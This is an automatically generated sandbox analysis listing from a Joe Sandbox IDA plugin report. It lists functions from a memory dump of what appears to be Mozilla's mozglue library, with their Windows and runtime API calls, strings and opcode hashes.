Opcode ID: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction ID: 5c8095c7e4d8c3f82490520348ed4036927259d6491a6e53044fc4a20779ecf9
Opcode Fuzzy Hash: 2d5529b490a9ed527ba4d6f3c07105a9ef5ca3ad7d3b13a1296e15702832f637
Instruction Fuzzy Hash: 8251C2B1A012568FEB10CFA4D88066EB7B2FF4D348F15046AD916AB750E731FD06CB99

Function 6C6A27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A289A
free.MOZGLUE(?,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A2910
free.MOZGLUE(00000001,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C6A2620,?,?,?,6C6960AA,6C695FCB,6C6979A3), ref: 6C6A294E

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ea9ffa42f58586b88f9ba8ac7cd0953ff0e176ef0a7cb51aead7ce83d72515d9
Instruction ID: 9897f2b458e45feeacbcb1e058197503f2c5ef340fe41d67c23a8ddd3040f7f3
Opcode Fuzzy Hash: ea9ffa42f58586b88f9ba8ac7cd0953ff0e176ef0a7cb51aead7ce83d72515d9
Instruction Fuzzy Hash: 3D41B4B1A402068FEB14CFAAD88476A73F5EF45708F140939D95BEB740E731E906CB99

Function 6C65CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C65D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C65D139

Strings

MOZ_CRASH(), xrefs: 6C65D187

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 8262ecd1dd48c43713a626117d3683a61c814eb47742429df2e927339d799342
Instruction ID: 3543fbe50f1b8389a23461486b7e12babdc2657575e16f4df976855d1fc8f750
Opcode Fuzzy Hash: 8262ecd1dd48c43713a626117d3683a61c814eb47742429df2e927339d799342
Instruction Fuzzy Hash: 6441CC32B412164FDB548E7E8DD07AAB6B0EB49714F650239EA18E77C4D7A1A800CBDD

Function 6C654DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C654EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C654F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C654F1E

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction ID: fa9019ae94530c368e15ab28f76c0ca6e05641a3aa38c6ac439540feb09e902e
Opcode Fuzzy Hash: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction Fuzzy Hash: 8C41F0716087019FC701CF29C8809ABB7E4BF8A344F608A5DF56687640DBB1E935CB85

Function 6C6BA820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DF770), ref: 6C6BA858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6BA87B

Part of subcall function 6C6BA9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C6BA88F,00000000), ref: 6C6BA9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C6BA8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6BA90C
LeaveCriticalSection.KERNEL32(6C6DF770), ref: 6C6BA97E

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: cf21db82d9946d1d4d002c44b2b831c435b0ddfba0b1b44d086e6d069fbfa2bf
Instruction ID: bb51f4b2f4feef7e7fc4b44630dd317ed3b6147944fb21cdc06fafba0641b0b7
Opcode Fuzzy Hash: cf21db82d9946d1d4d002c44b2b831c435b0ddfba0b1b44d086e6d069fbfa2bf
Instruction Fuzzy Hash: 8E41D4B0E002089FDB00DFA4D885BDEB770FF09324F148629E826AB791D771E955CB99

Function 6C661530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C66159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615E7
free.MOZGLUE(?,?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661637

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction ID: d01c86a85d46c23a7c691215a81a34074b03034866677b6b18a6f6f243d40b0c
Opcode Fuzzy Hash: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction Fuzzy Hash: 9C31EAB1A001149BCB148E7DD8514AEB7A5FB823647240B2DE423DBFD4EB30D915879B

Function 6C6BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAD9D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE3D

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction ID: 4eb5dd445afc357e947c968c0e77c1b944aa70b059dce956206679de5e0986f5
Opcode Fuzzy Hash: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction Fuzzy Hash: FB3164B1A002159FDB10DF7A8C44AABB7F8EF49714F15482DE94AE7700E734E815CBA9

Function 6C6B5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C6CDCA0,?,?,?,6C68E8B5,00000000), ref: 6C6B5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C68E8B5,00000000), ref: 6C6B5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C68E8B5,00000000), ref: 6C6B5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C68E8B5,00000000), ref: 6C6B5FD6

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction ID: f2c025b6eb9ea565baa2df8d15f82c6db1a81c960568f649629a87da775a8372
Opcode Fuzzy Hash: f8ffd130b540d1622dd6cad74810715579423eb43e2eccc40f7330cdc55ac1c6
Instruction Fuzzy Hash: C23106343006008FD711CF2AC898A6AB7FABF89319F648558E5569BB96CB31EC51CF84

Function 6C65B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C65B532
moz_xmalloc.MOZGLUE(?), ref: 6C65B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C65B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C65B57E
free.MOZGLUE(00000000), ref: 6C65B58F

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction ID: 89d8c58b405f94ff87142cdd8ce363126df9faeab29231e2da6d786d2f4b5cda
Opcode Fuzzy Hash: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction Fuzzy Hash: 3D212971A002059BDB00CF69CC80BAEBBB9FF86304F784129E918DB345E736D921C7A5

Function 6C65B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C65B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C65B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C65B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C65B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C65B849

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 430ce8e043642672c9f1ad552f6acf81942139a48e01c21f819eac7f96a86c83
Instruction ID: 1d8c03aa0fa54bb534cc8f5faaa3361884c14b92f2223d894aefeb06f6f26286
Opcode Fuzzy Hash: 430ce8e043642672c9f1ad552f6acf81942139a48e01c21f819eac7f96a86c83
Instruction Fuzzy Hash: BD212CB4E002099FDF04DFA9C8859FEBBB4EF89314F148129ED06A7341E731A954CBA5

Function 6C6B6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6B6E78

Part of subcall function 6C6B6A10: InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6A68
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6A7D
Part of subcall function 6C6B6A10: GetCurrentProcess.KERNEL32 ref: 6C6B6AA1
Part of subcall function 6C6B6A10: EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6AAE
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6AE1
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C6B6B15
Part of subcall function 6C6B6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C6B6B65
Part of subcall function 6C6B6A10: LeaveCriticalSection.KERNEL32(6C6DF618,?,?), ref: 6C6B6B83

MozFormatCodeAddress.MOZGLUE ref: 6C6B6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C6B6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C6B6EFF

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction ID: 7a861fe4b3ce47c9d7d0582b0418f171e1b28da3ad38869fc556fbcb7c811e64
Opcode Fuzzy Hash: 52868295192b0fefc6acc7cb5db6232ecb037373e40537bb9ebe56d2a2dce9ae
Instruction Fuzzy Hash: 9F21A471A042199FDF04CF69D8C569E77F9EF89308F044039E809A7241DB70AA59CF96

Function 6C690D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C653DEF), ref: 6C690D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C653DEF), ref: 6C690D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C653DEF), ref: 6C690DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C690D97, 6C690DBE
<jemalloc>, xrefs: 6C690D92, 6C690DB9

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction ID: 9eb333f3b368d62e8b1546ca32396374ec09f74a64d74f8d664fc73b983ace28
Opcode Fuzzy Hash: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction Fuzzy Hash: C2F02E3138039623E72016670C0AF6A269EA7C6B35F314035F744DE9C4DA90F80486AE

Function 6C6B5850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C6B586C
CloseHandle.KERNEL32 ref: 6C6B5878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B5898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C6B58C9
free.MOZGLUE(00000000), ref: 6C6B58D3

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: bbba00b47b56b9d4b22660fedf8f6ebcaafb7fff67a430c1ad4f7830a56b2c95
Instruction ID: 8a0083879518c1b11755c31113286ebade07498b1b68bf36c83afe0e639a6c88
Opcode Fuzzy Hash: bbba00b47b56b9d4b22660fedf8f6ebcaafb7fff67a430c1ad4f7830a56b2c95
Instruction Fuzzy Hash: 1B0162717141119BDF01DF17D888A467BB9EFA3329F244276E41AD2210D731B9258F8F

Function 6C6A7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6A75C4,?), ref: 6C6A762B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7644
GetCurrentThreadId.KERNEL32 ref: 6C6A765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6A74D7,6C6B15FC,?,?,?), ref: 6C6A7677

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction ID: 6bb646a485ea3ebe2f0a811155d3322491c280c443d3c73ed9b1370723d7e4e5
Opcode Fuzzy Hash: ee541756ce323456bcc3d6523245fd4db53dfe164a67086f434006cbe362bdc5
Instruction Fuzzy Hash: 30F0A471E10786ABD7008F22C888675B778FFEA259F11431AF90543601E7B0B5D18BD5

Function 6C6B1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C6B1800

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

Strings

Details, xrefs: 6C6B1925
name, xrefs: 6C6B1939
{marker.name} - {marker.data.name}, xrefs: 6C6B18C7

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: f57cc0acf601b34f59bfb0a927a8cf69c2a29521a92e304fc251dfc88a6d7df5
Instruction ID: 22190e491aefa8e33f91223b97db45de0eecc8c7765d60689da5328f2aeae385
Opcode Fuzzy Hash: f57cc0acf601b34f59bfb0a927a8cf69c2a29521a92e304fc251dfc88a6d7df5
Instruction Fuzzy Hash: BB71F3B0A00346AFC704DF29D4947AABBB1FF46304F444669D8155BB41DB70F6A8CBEA

Function 6C67D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751

Strings

MOZ_CRASH(), xrefs: 6C67D4BB

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
